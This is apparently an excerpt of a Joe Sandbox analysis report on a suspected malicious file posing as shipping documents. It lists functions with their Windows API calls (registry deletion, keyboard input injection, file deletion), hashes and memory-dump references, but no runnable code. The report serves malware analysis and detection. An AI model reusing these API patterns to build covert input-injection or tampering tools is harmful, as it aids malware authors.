                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                • API String ID: 2574300362-1816364905
                                                • Opcode ID: 86eb93ea8488f0df3464c2c0d3d1b560e96c64db84c929ff7bfa68b45cc2ce17
                                                • Instruction ID: 9744177037a3528ca845ee28775ca190f2c9846567a5ca78db2f048c4fc0eee2
                                                • Opcode Fuzzy Hash: 86eb93ea8488f0df3464c2c0d3d1b560e96c64db84c929ff7bfa68b45cc2ce17
                                                • Instruction Fuzzy Hash: A9D0C771510723EFDF246F65E84C662B7E5AF04751B148419FC56D22D1DBB0D8889B70
                                                Function 00D5BADD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,00000000,00D5BAD3,00000001,00D5B6EE,?,00D9DC00), ref: 00D5BAEB
                                                • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00D5BAFD
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: GetModuleHandleExW$kernel32.dll
                                                • API String ID: 2574300362-199464113
                                                • Opcode ID: 4f4fe6d8936759dc4be27930f70195ef22957ad44a8614676c8051e86232afbf
                                                • Instruction ID: db33875cac2af7ec65a5e5b10f8a73a723ff9b80d0b3bdc593478d4bf0755166
                                                • Opcode Fuzzy Hash: 4f4fe6d8936759dc4be27930f70195ef22957ad44a8614676c8051e86232afbf
                                                • Instruction Fuzzy Hash: E0D0C771910716DFDB306F66E84CB6177E5AF04752B14441AEC97D22D4DBB0D888C770
                                                Function 00D63BDB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(advapi32.dll,?,00D63BD1,?,00D63E06), ref: 00D63BE9
                                                • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00D63BFB
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: RegDeleteKeyExW$advapi32.dll
                                                • API String ID: 2574300362-4033151799
                                                • Opcode ID: a8596de47a3e7a4507f6caff426567df9ff06c6acd47d78531fee027f764bbf8
                                                • Instruction ID: 05c59e29f55bbb92a20a1391d58035881e6e3520071f62ed71578e35326eb29d
                                                • Opcode Fuzzy Hash: a8596de47a3e7a4507f6caff426567df9ff06c6acd47d78531fee027f764bbf8
                                                • Instruction Fuzzy Hash: 73D0C770510752DFD7209F65E80C693BBF5AF15715B154419F456E22D1E7B0D4848F70
                                                Function 00D39B30 Relevance: 6.3, APIs: 4, Instructions: 306COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 66c82770ad8f53249951ccdc16e7ef1d2fa80daabb7b3beb1bef0a2898387db7
                                                • Instruction ID: 07da8d8f6ab55852da101cf1900b35180dac4b5490731e2676ebac42e4202571
                                                • Opcode Fuzzy Hash: 66c82770ad8f53249951ccdc16e7ef1d2fa80daabb7b3beb1bef0a2898387db7
                                                • Instruction Fuzzy Hash: 02C16D75A0021AEFCB14DF94C8A4AAEF7B5FF48700F144598E945EB291D7B0DE41DBA0
                                                Function 00D5AA84 Relevance: 6.3, APIs: 4, Instructions: 268COMMON
                                                Download Yara Rule
                                                APIs
                                                • CoInitialize.OLE32(00000000), ref: 00D5AAB4
                                                • CoUninitialize.OLE32 ref: 00D5AABF
                                                  • Part of subcall function 00D40213: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00D4027B
                                                • VariantInit.OLEAUT32(?), ref: 00D5AACA
                                                • VariantClear.OLEAUT32(?), ref: 00D5AD9D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
                                                • String ID:
                                                • API String ID: 780911581-0
                                                • Opcode ID: 90247a5ec87197ec43530b516c1ab77b25a78743c820b6f48159d391e3f51d30
                                                • Instruction ID: e8cffe2ad4c18d4d5bfb836eecc9e1f220529702f6d39237050eaea696d33334
                                                • Opcode Fuzzy Hash: 90247a5ec87197ec43530b516c1ab77b25a78743c820b6f48159d391e3f51d30
                                                • Instruction Fuzzy Hash: F3A116352047119FCB10EF18C491B6AB7E5FF88711F148549FA9A9B3A2DB30ED44CBA6
                                                Function 00D391CC Relevance: 6.2, APIs: 4, Instructions: 201memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Variant$AllocClearCopyInitString
                                                • String ID:
                                                • API String ID: 2808897238-0
                                                • Opcode ID: 7f2488135ffd778b37f8455cfb9e04428673684ca6e8e7dacf41b7b263ef38cc
                                                • Instruction ID: 134309dd36c6cbb3967c33dcf3cb3717065f6e31401367f557169238b7c05dd6
                                                • Opcode Fuzzy Hash: 7f2488135ffd778b37f8455cfb9e04428673684ca6e8e7dacf41b7b263ef38cc
                                                • Instruction Fuzzy Hash: A151A375A44706ABDB20AF69D4A1A6EF3E5EF44310F24881FE586CB2D1DBB0D8808735
                                                Function 00D2365B Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memset$__filbuf__getptd_noexit_memcpy_s
                                                • String ID:
                                                • API String ID: 3877424927-0
                                                • Opcode ID: 065ad613f1183b824f05baa70d3d15c8958660488bca00daffb81e2f860a9d07
                                                • Instruction ID: 13cb424b2ec64422db79de49f483cfc27a79f46c0f4044882fdceeb4d2eaac1b
                                                • Opcode Fuzzy Hash: 065ad613f1183b824f05baa70d3d15c8958660488bca00daffb81e2f860a9d07
                                                • Instruction Fuzzy Hash: 2651CBB0A00325ABCF248F69A84455E77A5EF60328F288729F875972D0D779DF508B70
                                                Function 00D6C4D7 Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowRect.USER32(01747500,?), ref: 00D6C544
                                                • ScreenToClient.USER32(?,00000002), ref: 00D6C574
                                                • MoveWindow.USER32(00000002,?,?,?,000000FF,00000001,?,00000002,?,?,?,00000002,?,?), ref: 00D6C5DA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$ClientMoveRectScreen
                                                • String ID:
                                                • API String ID: 3880355969-0
                                                • Opcode ID: 7c1d9de267b03deae81ac53a049a051671ab216b40ba493bbdf5eb4a41cddab5
                                                • Instruction ID: 00cf1d4d98bba90eef12d41b3ccb0f1db423a5534f9d32353dd6f9e777aafd40
                                                • Opcode Fuzzy Hash: 7c1d9de267b03deae81ac53a049a051671ab216b40ba493bbdf5eb4a41cddab5
                                                • Instruction Fuzzy Hash: EF515E75910209EFCF10DF68C880ABE77B6EB55320F149659F995D7291D730ED41CBA0
                                                Function 00D3C410 Relevance: 6.1, APIs: 4, Instructions: 130windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00D3C462
                                                • __itow.LIBCMT ref: 00D3C49C
                                                  • Part of subcall function 00D3C6E8: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00D3C753
                                                • SendMessageW.USER32(?,0000110A,00000001,?), ref: 00D3C505
                                                • __itow.LIBCMT ref: 00D3C55A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$__itow
                                                • String ID:
                                                • API String ID: 3379773720-0
                                                • Opcode ID: 566c2c2d3d87fc253ee067134094827e53ea4603959592224cffdbb9e7b73c5b
                                                • Instruction ID: be9340c9da26039fea476d8bfe96374120456c32833a8e6590e94bfbdf66da01
                                                • Opcode Fuzzy Hash: 566c2c2d3d87fc253ee067134094827e53ea4603959592224cffdbb9e7b73c5b
                                                • Instruction Fuzzy Hash: 9D418171A00208ABDF21DF54D852BEE7BB9EF49700F041059FA09B72D1DB70AA45CBB2
                                                Function 00D4390C Relevance: 6.1, APIs: 4, Instructions: 112keyboardwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00D43966
                                                • SetKeyboardState.USER32(00000080,?,00000001), ref: 00D43982
                                                • PostMessageW.USER32(00000000,00000102,?,00000001), ref: 00D439EF
                                                • SendInput.USER32(00000001,?,0000001C,00000000,?,00000001), ref: 00D43A4D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: KeyboardState$InputMessagePostSend
                                                • String ID:
                                                • API String ID: 432972143-0
                                                • Opcode ID: 489bd866b5bfb7a914610a51a211cd270ef25a4a3a31c22c40180eea2e3b97c5
                                                • Instruction ID: bd9dfd38ec591fee70526b0bf2cc313b2880893f6ca378fc428aadfb0b95b671
                                                • Opcode Fuzzy Hash: 489bd866b5bfb7a914610a51a211cd270ef25a4a3a31c22c40180eea2e3b97c5
                                                • Instruction Fuzzy Hash: B6411670E44248AFEF208B68C806BFDBBB9AB55310F08015AF5C1A22C1C7B4CE85DB75
                                                Function 00D4E698 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00D4E742
                                                • GetLastError.KERNEL32(?,00000000), ref: 00D4E768
                                                • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00D4E78D
                                                • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00D4E7B9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateHardLink$DeleteErrorFileLast
                                                • String ID:
                                                • API String ID: 3321077145-0
                                                • Opcode ID: 7201befe6043f293b3426da1c27f361939fdbb3f6d3c92a42f5942438f83c653
                                                • Instruction ID: 6a6eb3aca80ef4d7e3fbff14e8873998c82b50e97a8811016c68b19dad19a38e
                                                • Opcode Fuzzy Hash: 7201befe6043f293b3426da1c27f361939fdbb3f6d3c92a42f5942438f83c653
                                                • Instruction Fuzzy Hash: BE411839600610DFCB11EF15C444A5DBBE6FF59720B198498E98AAB3A2CB70FD40CBB5
                                                Function 00D6B544 Relevance: 6.1, APIs: 4, Instructions: 108COMMON
                                                Download Yara Rule
                                                APIs
                                                • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00D6B5D1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: InvalidateRect
                                                • String ID:
                                                • API String ID: 634782764-0
                                                • Opcode ID: 9e986f617aab4274c802702a73c350bb7f9be366e7629419e48dba03f1f92570
                                                • Instruction ID: 6734e21ac9ab766109996d29c7eabea59a85a99da34633e9da5630309e0e3a3f
                                                • Opcode Fuzzy Hash: 9e986f617aab4274c802702a73c350bb7f9be366e7629419e48dba03f1f92570
                                                • Instruction Fuzzy Hash: 3831AF74641208AFEB208F99CC85FE87765EB06370F684113F652DA2E1D730E9C09B71
                                                Function 00D6D7DE Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • ClientToScreen.USER32(?,?), ref: 00D6D807
                                                • GetWindowRect.USER32(?,?), ref: 00D6D87D
                                                • PtInRect.USER32(?,?,00D6ED5A), ref: 00D6D88D
                                                • MessageBeep.USER32(00000000), ref: 00D6D8FE
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Rect$BeepClientMessageScreenWindow
                                                • String ID:
                                                • API String ID: 1352109105-0
                                                • Opcode ID: ebdf0c592f1732db439f65ec024c3e04ca6984b7d8f481db9aafd71b848121d1
                                                • Instruction ID: d3531f0395ad27f286ecfb22a882616feddadcf3bcfdf3b8f40a5e6ff473fe7b
                                                • Opcode Fuzzy Hash: ebdf0c592f1732db439f65ec024c3e04ca6984b7d8f481db9aafd71b848121d1
                                                • Instruction Fuzzy Hash: F4414774F0021ADFCB11DF59E888AA97BB6FB49354F1881AAE414DB3A1D730E945CB60
                                                Function 00D43A61 Relevance: 6.1, APIs: 4, Instructions: 104keyboardwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00D43AB8
                                                • SetKeyboardState.USER32(00000080,?,00008000), ref: 00D43AD4
                                                • PostMessageW.USER32(00000000,00000101,00000000,?), ref: 00D43B34
                                                • SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00D43B92
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: KeyboardState$InputMessagePostSend
                                                • String ID:
                                                • API String ID: 432972143-0
                                                • Opcode ID: 4c8312592857604fb2e471558112c984bb951c1f8459486d27160973a3af1bd0
                                                • Instruction ID: fb560b9cdbfc4891964484ecff0fbbefe90e334f7abdf086314d0f0bb068feb7
                                                • Opcode Fuzzy Hash: 4c8312592857604fb2e471558112c984bb951c1f8459486d27160973a3af1bd0
                                                • Instruction Fuzzy Hash: 9531E270A00358AFEF259B68C819BFE7BAADB55310F08025AF4C1932D1C7748B45D771
                                                Function 00D34004 Relevance: 6.1, APIs: 4, Instructions: 96COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00D34038
                                                • __isleadbyte_l.LIBCMT ref: 00D34066
                                                • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00D34094
                                                • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00D340CA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                • String ID:
                                                • API String ID: 3058430110-0
                                                • Opcode ID: be98da099d1038f98a266649f8ceb7fa649faedc33e8246f1afba0eddb7d331f
                                                • Instruction ID: fb0b9b5db8b7d4a2a3ff837eb06e3503ef5cffa00900bf08ea0c84444fa6e199
                                                • Opcode Fuzzy Hash: be98da099d1038f98a266649f8ceb7fa649faedc33e8246f1afba0eddb7d331f
                                                • Instruction Fuzzy Hash: 2531D030700216AFDB299F34C844BAA7BB5FF41351F198028E6618B1E0E735E890DBB0
                                                Function 00D67CA5 Relevance: 6.1, APIs: 4, Instructions: 93COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetForegroundWindow.USER32 ref: 00D67CB9
                                                  • Part of subcall function 00D45F55: GetWindowThreadProcessId.USER32(?,00000000), ref: 00D45F6F
                                                  • Part of subcall function 00D45F55: GetCurrentThreadId.KERNEL32 ref: 00D45F76
                                                  • Part of subcall function 00D45F55: AttachThreadInput.USER32(00000000,?,00D4781F), ref: 00D45F7D
                                                • GetCaretPos.USER32(?), ref: 00D67CCA
                                                • ClientToScreen.USER32(00000000,?), ref: 00D67D03
                                                • GetForegroundWindow.USER32 ref: 00D67D09
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                • String ID:
                                                • API String ID: 2759813231-0
                                                • Opcode ID: 65078601712921f87872a97096748aaec459eb9fccae65ad043a1b57f6c387c6
                                                • Instruction ID: ccd9f5aac3f4e84f074c051663bbb660b4007a2a678a6ea5461929356407e6c6
                                                • Opcode Fuzzy Hash: 65078601712921f87872a97096748aaec459eb9fccae65ad043a1b57f6c387c6
                                                • Instruction Fuzzy Hash: A731FE71900108AFDB10EFA9D8459EFBBF9EF58314B108466E815E7251DA359E458FB0
                                                Function 00D6F1D7 Relevance: 6.1, APIs: 4, Instructions: 80windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1B34E: GetWindowLongW.USER32(?,000000EB), ref: 00D1B35F
                                                • GetCursorPos.USER32(?), ref: 00D6F211
                                                • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00D7E4C0,?,?,?,?,?), ref: 00D6F226
                                                • GetCursorPos.USER32(?), ref: 00D6F270
                                                • DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00D7E4C0,?,?,?), ref: 00D6F2A6
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                • String ID:
                                                • API String ID: 2864067406-0
                                                • Opcode ID: 51e5e2b81e873171da4c1e8d5e051830bfea84ea1b9d06e4470078833073f283
                                                • Instruction ID: e1285ef7d0196ce3d578b1ca7590d6ad4d4925b6e33111059bbef42545604f4b
                                                • Opcode Fuzzy Hash: 51e5e2b81e873171da4c1e8d5e051830bfea84ea1b9d06e4470078833073f283
